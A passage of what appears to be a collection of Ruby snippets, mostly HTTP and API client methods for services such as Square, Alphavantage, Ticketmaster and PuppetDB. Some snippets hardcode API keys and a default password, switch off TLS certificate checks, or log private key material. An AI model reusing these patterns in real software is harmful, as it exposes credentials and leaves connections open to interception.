place.location.slice(index + city_const.length..place.location.length)\n # # else\n # # place.city = place.location\n # # end\n # \n # # Save the place to DB\n # place.save\n # \n # # # check if exists in OT\n # # place.ot_rid = ot_rid(place)\n # # \n # # puts '>>> ot_rid:'\n # # ap place.ot_rid\n # end\n \n # # if exists in OT then send data to front end\n # result[\"ot\"] = place.ot_rid\n \n results << result\n end\n \n # puts '>>> results:'\n # puts results\n # ap results\n \n payload = Hash.new\n payload[:success] = !results.empty?\n \n payload[:results] = results\n \n render json: payload\n end\n end", "def census\n # @census ||= JSON.parse(::HTTPClient.get(\"#{@opts[:url]}:9631/census\").body)\n @census ||= JSON.parse(inspec.http(\"#{@opts[:url]}:9631/census\").body)\n end", "def call_api(options = {})\n option_params = []\n options.each_pair { |k, v| option_params << \"#{ k }=#{ v }\" }\n\n self.data = self.class.get \"#{ BASE_URL }/#{ organisation_name }/#{ place_name }/#{ name }\" + '?' + option_params.join('&')\n end", "def get_customer_revenue_all_using_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CustomerApi.get_customer_revenue_all_using_get ...'\n end\n # resource path\n local_var_path = '/customer_revenue'\n\n # query parameters\n query_params = {}\n query_params[:'ascending'] = opts[:'ascending'] if !opts[:'ascending'].nil?\n query_params[:'filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n query_params[:'order_by'] = opts[:'order_by'] if !opts[:'order_by'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageCustomerRevenue')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CustomerApi#get_customer_revenue_all_using_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def get_data_google(lcotes)\n puts \"GOOGL get\"\n fields=[\n :name,\n :last_trade_price,:last_trade_time,\n :volume,:previous_close,\n :change_in_percent,\n :ask,:open,:bid\n ]\n puts \"GOOGLE key\"\n client = Alphavantage::Client.new(key: \"98H5525ZU964LW7U\")\n client.verbose = true \n puts \"GOOGLE finance Get\"\n l=lcotes.pmap {|symbol| \n begin\n stock=client.stock(symbol: symbol)\n next(nil) unless stock\n tm=stock.timeseries(type: \"intraday\", interval: \"5min\").hash[\"Time Series (5min)\"]\n a=tm.to_a\n data=a.first.last\n data[\"name\"]=symbol\n data[\"1. open\"]=a.last.last[\"1. open\"]\n data[\"time\"]=a.first.first\n #p data\n data\n rescue Exception => e\n p e\n nil\n end\n }\n puts \"GOOGLE finance Response\"\n ret= l.each_with_object({}) {|data,h|\n if data\n n=data[\"name\"]\n #puts \"\\n\\n=========================================\"\n #puts data.pretty_inspect\n #puts \"cotes_#{n}.rb\"\n #File.write(\"cotes_#{n}.rb\",data.pretty_inspect)\n h[n]={\n \"bname\" => data[:name],\n \"volume\" => nai(data[\"5. volume\"]), \n \"last\" => naf(data[\"4. close\"]), \n \"time\" => ftime(data[\"time\"]),\n \"ask\" => naf(\"0\"), \n \"open\" => naf(data[\"1. open\"]), \n \"pct\" => 10, \n \"bid\" => naf(\"0\"), \n \"prev\" => naf(data[\"1. open\"]), #?\n \"per\" => naf(\"0\"), # ratio capitalisation/resultat-annuel\n \"peg\" => naf(\"0\"), # ratio capitalisation/resultat-glissant\n \"unit\" => '$',\n }\n end\n #gui_invoke {alert(\"#{n} => #{h[n].inspect}\") } if $first\n }\n puts\n pp ret\n return ret\nend", "def get_report(api_key, client_api_id, interval, query = \"\")\n uri = URI(API_ENDPOINT) + URI.escape(\"?api_key=#{api_key}&client_api_id=#{client_api_id}&interval=#{interval}&query=#{query}\")\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n request = Net::HTTP::Get.new(uri.request_uri)\n response = http.request(request)\n raise \"Server returned error #{response.code} processing your API request\" if response.code != \"200\"\n JSON.parse(response.body)\nend", "def getblockchaininfo\n @api.request 'getblockchaininfo'\n end", "def index\n @tccapis = Tccapi.all\n end", "def customers\n client = Square::Client.new(\n access_token: Figaro.env.square_api_key,\n environment: 'production'\n )\n plat_id = \"31937637-430C-4E4B-ADAF-CB4FE6CE816D\"\n gold_id = \"A0A1AAC7-FB31-4AFA-B6D6-572F68D5757D\"\n\n # initial plat query\n result = client.customers.search_customers(\n body: {\n limit: 20,\n query: {\n filter: {\n group_ids: {\n any: [\n plat_id\n ]\n }\n },\n sort: {}\n }\n }\n )\n\n # {\"customers\": [\n # {\n # \"id\": \"DDMAZ5X1HX3T719477BRM31WAC\",\n # \"given_name\": \"Amy\",\n # \"family_name\": \"Scott\",\n # \"email_address\": \"[email protected]\",\n # \"phone_number\": \"(425) 894-4488\",\n # \"preferences\": {\n # \"email_unsubscribed\": false\n # },\n # \"groups\": [\n # {\n # \"id\": \"31937637-430C-4E4B-ADAF-CB4FE6CE816D\",\n # \"name\": \"Wine Club platinum\"\n # },\n # ],\n # },\n # ]\n # \"cursor\": \"long_cursor_string\"\n # }\n # result.cursor returns cursor string if there is one, else returns nil\n\n if result.success?\n filtered = result.data[0].map {|m| {\"square_id\": m[:id], \"created_at\": m[:created_at], \"given_name\": m[:given_name],\n \"family_name\": m[:family_name], \"email\": m[:email_address], \"phone_number\": m[:phone_number],\n \"membership_level\": \"Platinum\"} }\n # result.cursor implies the api call only retrieved\n # subset of data, need to make subsequent calls\n # with cursor to retrieve the rest\n while result.cursor\n result = client.customers.search_customers(\n body: {\n cursor: result.cursor,\n limit: 20,\n query: {\n filter: {\n group_ids: {\n any: [\n plat_id\n ]\n }\n },\n sort: {}\n }\n }\n )\n\n if result.success?\n result.data[0].each {|m| filtered << {\"square_id\": m[:id], \"created_at\": m[:created_at], \"given_name\": m[:given_name],\n \"family_name\": m[:family_name], \"email\": m[:email_address], \"phone_number\": m[:phone_number],\n \"membership_level\": \"Platinum\"} }\n elsif result.error?\n render result.errors\n end\n end\n # member_groups = result.data[0].filter { |group|\n # group[:name] === \"Wine Club platinum\" || group[:name] === \"Wine Club gold\"\n # }\n # puts member_groups\n # group_data = member_groups.map { |g| {id: g[:id], name: g[:name]} }\n # render json: group_data.to_json\n elsif result.error?\n render result.errors\n end\n\n # Room for improvement!! Call API for both gold\n # and plat members, then have logic to identify which\n # group a member belongs to. This DRYs up the customer search\n # call\n gold_result = client.customers.search_customers(\n body: {\n limit: 20,\n query: {\n filter: {\n group_ids: {\n any: [\n gold_id\n ]\n }\n },\n sort: {}\n }\n }\n )\n\n if gold_result.success?\n gold_result.data[0].each {|m| filtered << {\"square_id\": m[:id], \"created_at\": m[:created_at], \"given_name\": m[:given_name],\n \"family_name\": m[:family_name], \"email\": m[:email_address], \"phone_number\": m[:phone_number],\n \"membership_level\": \"Gold\"} }\n while gold_result.cursor\n gold_result = client.customers.search_customers(\n body: {\n cursor: gold_result.cursor,\n limit: 20,\n query: {\n filter: {\n group_ids: {\n any: [\n gold_id\n ]\n }\n },\n sort: {}\n }\n }\n )\n\n if gold_result.success?\n gold_result.data[0].each {|m| filtered << {\"square_id\": m[:id], \"created_at\": m[:created_at], \"given_name\": m[:given_name],\n \"family_name\": m[:family_name], \"email\": m[:email_address], \"phone_number\": m[:phone_number],\n \"membership_level\": \"Gold\"} }\n elsif gold_result.error?\n render gold_result.errors\n end\n end\n # member_groups = result.data[0].filter { |group|\n # group[:name] === \"Wine Club platinum\" || group[:name] === \"Wine Club gold\"\n # }\n # puts member_groups\n # group_data = member_groups.map { |g| {id: g[:id], name: g[:name]} }\n # render json: group_data.to_json\n elsif gold_result.error?\n render gold_result.errors\n end\n\n results = []\n stop = false\n\n filtered.each do |member|\n currentUser = User.find {|u| u.square_id === member[:square_id]}\n if !currentUser\n p member[:membership_level]\n member[:membership_level] === \"Gold\" ? count = 1 : count = 2\n currentUser = User.create(email: member[:email], password: \"d3vp4ss\", square_id: member[:square_id], commit_count: count)\n Role.create(role_type: \"member\", user_id: currentUser.id)\n end\n\n transactions = client.orders.search_orders(\n body: {\n location_ids: [\n \"EBB8FHQ6NBGA8\"\n ],\n query: {\n filter: {\n customer_filter: {\n customer_ids: [\n member[:square_id]\n ]\n }\n }\n }\n }\n )\n if transactions.success?\n t_data = []\n transactions.data && transactions.data[0].each do |t|\n if t[:line_items] && t[:line_items].any? {|li| li[:name] && li[:name].start_with?(\"20\")}\n items = t[:line_items].reject{|li| li[:name] && !li[:name].start_with?(\"20\")}.map { |li| { uid: li[:uid],\n catalog_object_id: li[:catalog_object_id], quantity: li[:quantity], name: li[:name]} }\n end\n \n t_obj = {\n id: t[:id],\n created_at: t[:created_at],\n line_items: items,\n }\n t_data << t_obj\n end\n elsif transactions.error?\n warn transactions.errors\n end\n\n results << {\n \"square\": member,\n \"db\": {\n \"id\": currentUser.id,\n \"commit_count\": currentUser.commit_count,\n \"commit_adjustments\": currentUser.commit_adjustments\n },\n \"transactions\": t_data\n }\n end\n render json: results.to_json\n end", "def country_api\n # endpoint = \"https://corona.lmao.ninja/countries\"\n endpoint = 'https://corona.lmao.ninja/v2/countries'\n response = HTTParty.get(endpoint)\n data = JSON.parse response.body\n res = data\n result =[]\n endpoint_all = \"https://corona.lmao.ninja/all\"\n response1 = HTTParty.get(endpoint_all)\n data1 = JSON.parse response1.body\n res1 = data1\n result<<{\n country: \"world\",\n cases: res1[\"cases\"],\n todayCases: res1[\"todayCases\"],\n deaths: res1[\"deaths\"],\n todayDeaths: res1[\"todayDeaths\"],\n recovered: res1[\"recovered\"],\n active: res1[\"active\"],\n critical: res1[\"critical\"],\n casesPerOneMillion: res1[\"casesPerOneMillion\"],\n deathsPerOneMillion: res1[\"deathsPerOneMillion\"],\n tests: res1[\"tests\"],\n testsPerOneMillion: res1[\"testsPerOneMillion\"],\n affectedCountries: res1[\"affectedCountries\"]\n }\n\n res.each do |country|\n result<<{\n country: country[\"country\"],\n lat: country[\"countryInfo\"][\"lat\"],\n long: country[\"countryInfo\"][\"long\"],\n flag: country[\"countryInfo\"][\"flag\"],\n cases: country[\"cases\"],\n todayCases: country[\"todayCases\"],\n deaths: country[\"deaths\"],\n todayDeaths: country[\"todayDeaths\"],\n recovered: country[\"recovered\"],\n active: country[\"active\"],\n critical: country[\"critical\"],\n casesPerOneMillion: country[\"casesPerOneMillion\"],\n deathsPerOneMillion: country[\"deathsPerOneMillion\"],\n tests: country[\"tests\"],\n testsPerOneMillion: country[\"testsPerOneMillion\"]\n }\n end\n render json: result\n end", "def fetch_dataone(vin)\n config = Lynr.config('app').vin.dataone\n url = config.url\n data = {\n authorization_code: config.auth_code,\n client_id: config.client_id,\n decoder_query: dataone_xml_query(vin),\n }\n Lynr.metrics.time('time.service:dataone.fetch') do\n RestClient.post url, data\n end\n end", "def get_commercial_flights_statistics_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: StatisticsApi.get_commercial_flights_statistics ...'\n end\n # resource path\n local_var_path = '/statistics/flights/commercial'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n return_type = opts[:return_type] || 'FlightsStatisticsResponse' \n\n auth_names = opts[:auth_names] || ['bearerToken']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type)\n\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: StatisticsApi#get_commercial_flights_statistics\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def city_events(city)\n response = RestClient.get('https://app.ticketmaster.com/discovery/v2/events.json?city=' + city + '&apikey=' + $ticket_master_api_key)\n jason_response = JSON.parse(response)\nend", "def set_api\n @url = 'https://api.coinmarketcap.com/v1/ticker/'\n @uri = URI(@url)\n @response = Net::HTTP.get(@uri)\n # converts response to a Ruby hash \n @lookup_crypto = JSON.parse(@response)\n @gain_loss = 0\n end", "def perform_api_request(query) \n request = Net::HTTP::Post.new( \n $url.path + ($url.query != nil ? (\"?\" + $url.query) : \"\"), \n initheader = {\"Content-Type\" => \"application/json\", \n \"X-Replicon-Security-Context\" => \"User\"}) \n request.basic_auth($companyKey + \"\\\\\" + $loginname, $password) \n request.body = JSON.generate(query) \n \n server = Net::HTTP.new($url.host, $url.port) \n server.use_ssl = $url.scheme == \"https\" \n response = server.start {|http| http.request(request)} \n \n http_code = response.code.to_i \n if http_code != 200 \n puts response.body \n raise \"Expected success code 200, but was #{http_code}\" \n end \n \n return JSON.parse(response.body) \nend", "def request(url, api_key)\n rover = get_data(\"#{url}#{api_key}\")\n\n return rover\nend", "def get_campaigns(access_token, opts = {})\n\t\t\t\t\turl = Util::Config.get('endpoints.base_url') + Util::Config.get('endpoints.campaigns')\n\t\t\t\t\turl = build_url(url, opts)\n\n response = RestClient.get(url, get_headers(access_token))\n body = JSON.parse(response.body)\n\n campaigns = []\n body['results'].each do |campaign|\n campaigns << Components::Campaign.create_summary(campaign)\n end\n\n Components::ResultSet.new(campaigns, body['meta'])\n end", "def get_races_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: UniverseApi.get_races ...\"\n end\n if opts[:'datasource'] && !['tranquility', 'singularity'].include?(opts[:'datasource'])\n fail ArgumentError, 'invalid value for \"datasource\", must be one of tranquility, singularity'\n end\n if opts[:'language'] && !['de', 'en-us', 'fr', 'ja', 'ru', 'zh'].include?(opts[:'language'])\n fail ArgumentError, 'invalid value for \"language\", must be one of de, en-us, fr, ja, ru, zh'\n end\n # resource path\n local_var_path = \"/universe/races/\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'datasource'] = opts[:'datasource'] if !opts[:'datasource'].nil?\n query_params[:'language'] = opts[:'language'] if !opts[:'language'].nil?\n query_params[:'user_agent'] = opts[:'user_agent'] if !opts[:'user_agent'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n header_params[:'X-User-Agent'] = opts[:'x_user_agent'] if !opts[:'x_user_agent'].nil?\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<Race>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: UniverseApi#get_races\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def fetch\n service = Diplomat::Service.get('resources')\n url = \"http://#{service.Address}:#{service.ServicePort}/\"\n # if Rails.env.production?\n # service = Diplomat::Service.get('resources')\n # url = \"http://#{service.Address}:#{service.ServicePort}/\"\n # else\n # url = 'http://localhost:3001/'\n # end\n conn = Faraday.new(url: url) do |faraday|\n faraday.response :logger, ::Logger.new(STDOUT), bodies: true\n faraday.adapter Faraday.default_adapter\n faraday.headers['Content-Type'] = 'application/json'\n end\n self.send(\"fetch_#{self.type}\", conn)\n end", "def get_coupons_by_query_with_http_info(coupon_query, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CouponApi.get_coupons_by_query ...'\n end\n # verify the required parameter 'coupon_query' is set\n if @api_client.config.client_side_validation && coupon_query.nil?\n fail ArgumentError, \"Missing the required parameter 'coupon_query' when calling CouponApi.get_coupons_by_query\"\n end\n # resource path\n local_var_path = '/coupon/coupons/query'\n\n # query parameters\n query_params = {}\n query_params[:'_limit'] = opts[:'_limit'] if !opts[:'_limit'].nil?\n query_params[:'_offset'] = opts[:'_offset'] if !opts[:'_offset'].nil?\n query_params[:'_sort'] = opts[:'_sort'] if !opts[:'_sort'].nil?\n query_params[:'_expand'] = opts[:'_expand'] if !opts[:'_expand'].nil?\n\n # header parameters\n header_params = {}\n header_params['X-UltraCart-Api-Version'] = @api_client.select_header_api_version()\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(coupon_query)\n auth_names = ['ultraCartOauth', 'ultraCartSimpleApiKey']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'CouponsResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CouponApi#get_coupons_by_query\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def obtain_description\n\t\t#it's only pulling traffic train status for now, but we will get it to pull out the description instead.\n\t\tService.find_by(name: self.service_name).traffic\n\tend", "def obtain_description\n\t\t#it's only pulling traffic train status for now, but we will get it to pull out the description instead.\n\t\tService.find_by(name: self.service_name).traffic\n\tend", "def get_forecast_data\n result = RestClient.get(request_url)\n @xml = REXML::Document.new(result)\n end", "def get_json()\n\n http = Net::HTTP.new(STATUS_URI.host, STATUS_URI.port)\n http.use_ssl = false\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Get.new(\"/api/services.json\")\n\n response = http.request(request)\n JSON.parse(response.body)\nend", "def request(pdb_endpoint, query)\n rest_client = RestClient::Request\n # Build puppet query URL\n # Also sanitizes query string for you so it can be provided in human readable formats\n url = @base_url + pdb_endpoint + '?' + URI.encode_www_form('query' => query)\n response = nil\n $logger.debug(\"URL: #{URI.unescape(url)}\")\n $logger.debug(\"Client Cert: \\n#{@client_cert_file}\")\n $logger.debug(\"Client Key: \\n#{@client_key_file}\")\n $logger.debug(\"CA Cert: \\n#{@ca_cert}\")\n $logger.debug(\"Using SSL: #{@using_ssl_connection.to_s}\")\n if @using_ssl_connection\n $logger.debug(\"Manual Query: curl -G -H 'Content-Type:application/json' '#{@base_url + pdb_endpoint}' --data-urlencode 'query=#{query}' --tlsv1 --cacert #{@ca_cert} --cert #{@client_cert_file} --key #{@client_key_file}\")\n else\n $logger.debug(\"Manual Query: curl -G -H 'Content-Type:application/json' '#{@base_url + pdb_endpoint}' --data-urlencode 'query=#{query}'\")\n end\n \n begin\n if @using_ssl_connection\n response = rest_client.execute(method: :get, url: url, headers: { accept: '*/*' },\n ssl_client_cert: @client_cert,\n ssl_client_key: @client_key,\n ssl_ca_file: @ca_cert)\n else\n response = rest_client.execute(method: :get, url: url, headers: { accept: '*/*' })\n end\n # Handle bad queries or unknown exceptions because they are highly likely here\n rescue RestClient::InternalServerError => e\n puts e.inspect\n puts 'Query URL:' + URI.unescape(url)\n Kernel.abort('Communication error occurred')\n rescue => e\n puts e\n puts 'Query URL:' + URI.unescape(url)\n Kernel.abort('An unknown error occurred')\n end\n\n response = JSON.parse(response)\n $logger.debug(\"Response: #{response}\")\n\n # Empty responses are not helpful\n fail Exception, 'Empty response returned' if response.empty? || response.nil?\n\n response\n end", "def index\n if params[:search].nil? || params[:search].empty?\n @concerts = Concert.all\n @upcoming_concerts = Concert.where(\"start > ?\", Time.now)\n else\n @upcoming_concerts = Concert.fuzzy_search(params[:search])\n end\n #google maps\n @pindrop = Gmaps4rails.build_markers(@upcoming_concerts) do |concert, marker|\n marker.lat concert.latitude\n marker.lng concert.longitude\n marker.infowindow concert.address\n end\n end", "def doCurl(method,path,params)\n # api constants\n domain = 'api.centralindex.com'\n endpoint = '/v1'\n path = endpoint+path\n params['api_key'] = @apiKey\n retval = ''\n\n # create an HTTP connection\n http = Net::HTTP.new(domain) \n if @debugMode\n http.set_debug_output $stderr\n end\n\n if(method == 'get') \n # crazy dance to get urlencode parameters from Ruby\n request = Net::HTTP::Get.new(path) \n request.set_form_data( params, sep = '&' )\n request = Net::HTTP::Get.new( path+ '?' + request.body )\n retval = http.request(request)\n end\n if(method == 'post')\n request = Net::HTTP::Post.new(path)\n request.set_form_data(params)\n retval = http.request(request)\n end\n if(method == 'put')\n request = Net::HTTP::Put.new(path)\n request.set_form_data(params)\n retval = http.request(request)\n end\n if(method == 'delete')\n request = Net::HTTP::Put.new(path)\n request.set_form_data(params)\n retval = http.request(request)\n end\n parsed = JSON.parse(retval.body)\n if(parsed)\n return parsed\n else\n return retval.body\n end\n end", "def api_fetch(url)\n JSON.parse(RestClient.get url)\nend", "def play\n data = self.get_api_response(\"https://opentdb.com/api.php?amount=3&category=11\")[\"results\"][0]\n return data\n end", "def search\n @response = HTTParty.get(\"https://travelbriefing.org/#{params[:searchterm]}?format=json\",\n :headers => { 'Content-Type' => 'application/json', 'Accept' => 'application/json'})\n\n @response = JSON.parse(@response.parsed_response)\n @currency = @response[\"currency\"][\"rate\"].to_f/@response[\"currency\"][\"compare\"][5][\"rate\"].to_f\n\n gon.currency = @currency\n end", "def accounts_kyc_status_get_with_http_info(update_date, authorization, psu_ip_address, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: AccountsApi.accounts_kyc_status_get ...'\n end\n # verify the required parameter 'update_date' is set\n if @api_client.config.client_side_validation && update_date.nil?\n fail ArgumentError, \"Missing the required parameter 'update_date' when calling AccountsApi.accounts_kyc_status_get\"\n end\n if @api_client.config.client_side_validation && update_date !~ Regexp.new(/^-?\\\\d{1,12}$/)\n fail ArgumentError, \"invalid value for 'update_date' when calling AccountsApi.accounts_kyc_status_get, must conform to the pattern /^-?\\\\d{1,12}$/.\"\n end\n\n # verify the required parameter 'authorization' is set\n if @api_client.config.client_side_validation && authorization.nil?\n fail ArgumentError, \"Missing the required parameter 'authorization' when calling AccountsApi.accounts_kyc_status_get\"\n end\n # verify the required parameter 'psu_ip_address' is set\n if @api_client.config.client_side_validation && psu_ip_address.nil?\n fail ArgumentError, \"Missing the required parameter 'psu_ip_address' when calling AccountsApi.accounts_kyc_status_get\"\n end\n # resource path\n local_var_path = '/v2/accounts/kycstatus'\n\n # query parameters\n query_params = {}\n query_params[:'updateDate'] = update_date\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'limit'] = opts[:'limit'] if !opts[:'limit'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n header_params[:'Authorization'] = authorization\n header_params[:'PSU-IP-Address'] = psu_ip_address\n header_params[:'PSU-Accept-Language'] = opts[:'psu_accept_language'] if !opts[:'psu_accept_language'].nil?\n header_params[:'PSU-User-Agent'] = opts[:'psu_user_agent'] if !opts[:'psu_user_agent'].nil?\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'KycStatusOutput')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AccountsApi#accounts_kyc_status_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def fetch_cdi_value\n token = get_financial_data_token\n if token\n\t\t\tactual_date = \"#{Date.current.year}-#{Date.current.month}-#{Date.current.day}\"\n\t\t\tif Cdi.all.count > 0\n\t\t\t\tlast_cdi_date = Cdi.last.date_tax + 1\n\t\t\telse\n\t\t\t\tlast_cdi_date = '2010-01-01'\n\t\t\tend\n uri = URI.parse(\"https://api.financialdata.io/v1/indices/CDI/serie?dataInicio=#{last_cdi_date}&dataFim=#{actual_date}\")\n header = {'Content-Type': 'application/json', 'Authorization': \"Bearer #{token}\"}\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Get.new(uri.request_uri, header)\n response = http.request(request)\n return JSON.parse(response.read_body) \n end\n end", "def api_transactions_command(transfer_json_data, customer_id = ENV['CIRCLE_CUSTOMER_ID'], customer_session_token = ENV['CIRCLE_CUSTOMER_SESSION_TOKEN'], circle_bank_account_id = ENV['CIRCLE_BANK_ACCOUNT_ID'])\n btc_transfer_json_data = transfer_json_data.to_json\n content_length = btc_transfer_json_data.length\n\n api_url = \"https://www.circle.com/api/v2/customers/#{customer_id}/accounts/#{circle_bank_account_id}/transactions\"\n\n path_header = \"/api/v2/customers/#{customer_id}/accounts/#{circle_bank_account_id}/transactions\"\n\n curl = Curl::Easy.http_post(api_url, btc_transfer_json_data) do |http|\n http.headers['host'] = 'www.circle.com'\n http.headers['method'] = 'POST'\n http.headers['path'] = path_header\n http.headers['scheme'] = 'https'\n http.headers['version'] = 'HTTP/1.1'\n http.headers['accept'] = 'application/json, text/plain, */*'\n http.headers['accept-encoding'] = 'gzip,deflate'\n http.headers['accept-language'] = 'en-US,en;q=0.8'\n http.headers['content-length'] = content_length\n http.headers['content-type'] = 'application/json;charset=UTF-8'\n http.headers['cookie'] = circle_cookie\n http.headers['origin'] = 'https://www.circle.com'\n http.headers['referer'] = \"https://www.circle.com/send/confirm\"\n http.headers['user-agent'] = \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36\"\n http.headers['x-app-id'] = 'angularjs'\n http.headers['x-app-version'] = \"0.0.1\"\n http.headers['x-customer-id'] = customer_id\n http.headers['x-customer-session-token'] = customer_session_token\n end\n\n json_data = ActiveSupport::Gzip.decompress(curl.body_str)\n parsed_json = JSON.parse(json_data)\n\n btc_transfer_response_status = parsed_json\n response_code = btc_transfer_response_status['response']['status']['code']\n if response_code == 0\n # puts 'Successful BTC tansfer!'\n # puts 'Transfer Details:'\n # puts btc_transfer_response_status\n else\n puts '** ERROR ** BTC Transfer Unsuccessful'\n puts 'Transfer Details:'\n puts btc_transfer_response_status\n end\n response_code\n end", "def get_cdrs(account_number, page = 1, limit = 10, filter = nil)\r\n # the base uri for api requests\r\n query_builder = Configuration.base_uri.dup\r\n\r\n # prepare query string for API call\r\n query_builder << '/accounts/{account_number}/cdrs'\r\n\r\n # process optional query parameters\r\n query_builder = APIHelper.append_url_with_template_parameters query_builder, {\r\n 'account_number' => account_number\r\n }\r\n\r\n # process optional query parameters\r\n query_builder = APIHelper.append_url_with_query_parameters query_builder, {\r\n 'page' => if page.nil? then 1 else page end,\r\n 'limit' => if limit.nil? then 10 else limit end,\r\n 'filter' => filter\r\n }\r\n\r\n # validate and preprocess url\r\n query_url = APIHelper.clean_url query_builder\r\n\r\n # prepare headers\r\n headers = {\r\n 'user-agent' => 'APIMATIC 2.0',\r\n 'accept' => 'application/json',\r\n 'X-Auth-Token' => Configuration.x_auth_token\r\n }\r\n\r\n # invoke the API call request to fetch the response\r\n response = Unirest.get query_url, headers: headers\r\n\r\n # Error handling using HTTP status codes\r\n if response.code == 401\r\n raise APIException.new 'You are not authenticated', 401, response.raw_body\r\n elsif response.code == 403\r\n raise APIException.new 'This action needs a valid WSSE header', 403, response.raw_body\r\n elsif response.code == 404\r\n raise APIException.new 'Resource not found', 404, response.raw_body\r\n elsif response.code == 400\r\n raise APIException.new 'Http bad request', 400, response.raw_body\r\n elsif !response.code.between?(200, 206) # [200,206] = HTTP OK\r\n raise APIException.new 'HTTP Response Not OK', response.code, response.raw_body\r\n end\r\n\r\n response.body\r\n end", "def index\n @api_v1_concerns = Api::V1::Concern.all\n end", "def get\n @research_output = @service.get({type: params[:graph], detail: params[:detail], id: params[:id]},\n host: request.env[\"HTTP_HOST\"], limit: params[:num_results], offset: params[:start_offset], :per_project => params[:per_project], format: params[:format])\n\n respond_with @research_output\n end", "def congresspeople(coords)\n client = Congress::Client.new('d0bf729df6784c0ba12028a78949ce73')\n data_congress = client.legislators_locate(coords.lat, coords.lng)\n senior_senator = data_congress.results.select {|item| \"senior\" == item.state_rank}.first\n junior_senator = data_congress.results.select {|item| \"junior\" == item.state_rank}.first\n representative = data_congress.results.select {|item| \"house\" == item.chamber}.first\n\n # data senior senator\n new_senior_senator = Hash.new\n new_senior_senator[:email] = senior_senator.oc_email\n new_senior_senator[:firstname] = senior_senator.first_name\n new_senior_senator[:lastname] = senior_senator.last_name\n new_senior_senator[:congress_office]= senior_senator.office\n new_senior_senator[:facebook_id] = senior_senator.facebook_id\n new_senior_senator[:twitter_id] = senior_senator.twitter_id\n # end data senior senator\n\n # data junior senator\n new_junior_senator = Hash.new\n new_junior_senator[:email] = junior_senator.oc_email\n new_junior_senator[:firstname] = junior_senator.first_name\n new_junior_senator[:lastname] = junior_senator.last_name\n new_junior_senator[:congress_office]= junior_senator.office\n new_junior_senator[:facebook_id] = junior_senator.facebook_id\n new_junior_senator[:twitter_id] = junior_senator.twitter_id\n # end data junior senator\n\n # data representative\n new_representative = Hash.new\n new_representative[:email] = representative.oc_email\n new_representative[:firstname] = representative.first_name\n new_representative[:lastname] = representative.last_name\n new_representative[:congress_office]= representative.office\n 